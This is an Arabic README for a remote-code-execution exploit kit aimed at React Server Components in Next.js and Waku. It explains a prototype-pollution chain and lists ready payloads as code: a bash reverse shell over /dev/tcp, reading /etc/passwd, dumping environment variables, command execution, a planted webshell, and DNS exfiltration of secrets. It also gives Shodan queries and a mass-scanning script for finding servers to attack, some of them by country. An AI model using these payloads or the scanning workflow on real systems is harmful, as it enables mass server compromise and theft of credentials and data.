🔥 مجموعة أدوات استغلال RSC RCE

---

📋 جدول المحتويات

• نظرة عامة
• تفاصيل الثغرة
• الميزات
• التثبيت
• البدء السريع
• الاستخدام
  • الاستغلال الأساسي
  • الحمولات المتاحة
  • الحمولات المخصصة
• التكامل مع Shodan
• المسح الآلي
• أمثلة
• التخفيف
• الإصدارات المتأثرة
• المساهمة
• إخلاء المسؤولية
• الترخيص

---

🎯 نظرة عامة

تستغل هذه المجموعة ثغرة تنفيذ الأكواد عن بُعد (RCE) حرجة في تطبيقات مكونات خادم React (RSC)، وتستهدف تحديدًا:

• Next.js (الإصدارات 13.4.0 - 14.1.0)
• Waku (الإصدارات الضعيفة)

تعتمد الثغرة على تلوث النماذج الأولية (Prototype Pollution) وإلغاء التسلسل غير الآمن في آلية معالجة البيانات لـ RSC لتحقيق تنفيذ تعليمات برمجية عشوائية على الخادم.

🔴 الخطورة: حرجة

• درجة CVSS: 9.8 (حرجة)
• متجه الهجوم: شبكة
• الصلاحيات المطلوبة: لا شيء
• تفاعل المستخدم: لا شيء
• التأثير: اختراق كامل للخادم

---

🔬 تفاصيل الثغرة

الخلفية التقنية

تستخدم مكونات خادم React تنسيق تسلسل مخصص لنقل البيانات بين العميل والخادم. توجد الثغرة في كيفية إلغاء تسلسل هذه الأطر ومعالجة الحمولات المعدة خصيصًا.

سلسلة الهجوم:

1. بناء الحمولة: صياغة حمولة RSC خبيثة بمراجع دائرية
2. تلوث النموذج الأولي: إساءة استخدام $X:constructor:constructor للوصول إلى منشئ الدالة (Function constructor)
3. حقن الأكواد: حقن كود JavaScript عشوائي في حقل _prefix
4. التنفيذ: يقوم الخادم بإلغاء تسلسل الحمولة وتنفيذها

تدفق الاستغلال

المهاجم → حمولة RSC خبيثة → الخادم المستهدف
                                         ↓
                              إلغاء التسلسل غير الآمن
                                         ↓
                              الوصول إلى سلسلة النموذج الأولي
                                         ↓
                              منشئ الدالة
                                         ↓
                              ⚠️ تحقق RCE ⚠️

---

✨ الميزات

القدرات الأساسية

• ✅ دعم أطر متعددة: Next.js و Waku
• ✅ 8 حمولات مبنية مسبقًا: من إثبات المفهوم إلى الصدفات العكسية الكاملة
• ✅ تنفيذ أكواد مخصصة: حقن أي كود JavaScript
• ✅ التكامل مع Shodan: اكتشاف الأهداف تلقائيًا
• ✅ المسح الجماعي: اختبار أهداف متعددة تلقائيًا
• ✅ واجهة أوامر احترافية: واجهة سطر أوامر كاملة
• ✅ تسجيل مفصّل: مخرجات ملونة مع طوابع زمنية
• ✅ معالجة الأخطاء: إدارة أخطاء قوية

الحمولات المبنية مسبقًا

الحمولة	الوصف	حالة الاستخدام
console	إثبات مفهوم أساسي (console.log)	التحقق من الثغرة
reverseShell	صدفة عكسية Bash	الوصول الأولي
readFile	قراءة /etc/passwd	الوصول إلى نظام الملفات
envDump	تفريغ متغيرات البيئة	استخراج بيانات الاعتماد
execCommand	تنفيذ أوامر النظام	تنفيذ أوامر عشوائية
webshell	نشر صدفة ويب Express	وصول دائم
exfilPackage	تسريب package.json	تحليل التبعيات
dnsExfil	تسريب DNS (خارج النطاق)	الاستغلال الأعمى

---

📦 التثبيت

المتطلبات الأساسية

• Node.js >= 16.0.0
• npm أو yarn
• Shodan CLI (اختياري، للمسح الآلي)

استنساخ المستودع

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

تثبيت التبعيات

npm install
# أو
yarn install

إعداد Shodan (اختياري)

# تثبيت Shodan CLI
pip install shodan

# التهيئة باستخدام مفتاح API الخاص بك
shodan init YOUR_API_KEY

---

🚀 البدء السريع

1. فحص الثغرة الأساسي

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. الحصول على صدفة عكسية

# بدء المستمع
nc -lvnp 4444

# تنفيذ الاستغلال
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. تنفيذ أمر مخصص

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

---

📖 الاستخدام

الاستغلال الأساسي

node rsc-rce-exploit.js [options]

الخيارات

الخيار	الوصف	مطلوب
--target <url>	URL الهدف	✅
--framework <name>	الإطار: next أو waku	❌ (الافتراضي: next)
--payload <name>	اسم الحمولة (انظر أدناه)	✅*
--custom <code>	كود JavaScript مخصص	✅*
--lhost <ip>	IP الخاص بك (للصدفة العكسية)	❌
--lport <port>	المنفذ الخاص بك (للصدفة العكسية)	❌
--command <cmd>	الأمر المراد تنفيذه	❌
--endpoint <path>	نقطة نهاية RSC مخصصة (Waku)	❌
--action-id <id>	معرف next-action مخصص	❌
--list	قائمة الحمولات المتاحة	❌
--verbose	إخراج مفصّل	❌
--help	عرض المساعدة	❌

*مطلوب إما --payload أو --custom

الحمولات المتاحة

عرض جميع الحمولات:

node rsc-rce-exploit.js --list

الإخراج:

📋 الحمولات المتاحة:

  console              - إثبات مفهوم أساسي - إخراج وحدة التحكم
    الكود: console.log(7*7+1)

  reverseShell         - صدفة عكسية (bash)
    الكود: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - قراءة /etc/passwd
    الكود: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - تفريغ متغيرات البيئة
    الكود: console.log(JSON.stringify(process.env,null,2))

  execCommand          - تنفيذ أمر نظام
    الكود: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - كتابة صدفة ويب إلى /tmp
    الكود: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - قراءة package.json
    الكود: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - تسريب DNS
    الكود: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

الحمولات المخصصة

تنفيذ أي كود JavaScript:

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

---

🌐 التكامل مع Shodan

استعلامات Shodan

أهداف Next.js

# Next.js أساسي
http.component:"Next.js"

# Next.js مع RSC
http.html:"__next" http.html:"RSC"

# وضع التطوير Next.js (أكثر عرضة)
http.html:"__NEXT_DATA__" http.html:"development"

# Next.js مستضاف ذاتيًا (ليس على Vercel)
http.component:"Next.js" -org:"Vercel"

# مستهدف جغرافيًا (فرنسا)
http.component:"Next.js" country:FR

# المزيج النهائي لاختبار الاختراق
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

أهداف Waku

# إطار Waku
http.html:"waku" http.html:"RSC"

# نقاط نهاية Waku RSC
http.path:"/RSC/"

المسح الآلي عبر Shodan

استخدم سكريبت الأتمتة المرفق:

# مسح واختبار تلقائيًا
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# مع حمولة مخصصة
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

سير العمل اليدوي مع Shodan

# 1. البحث في Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt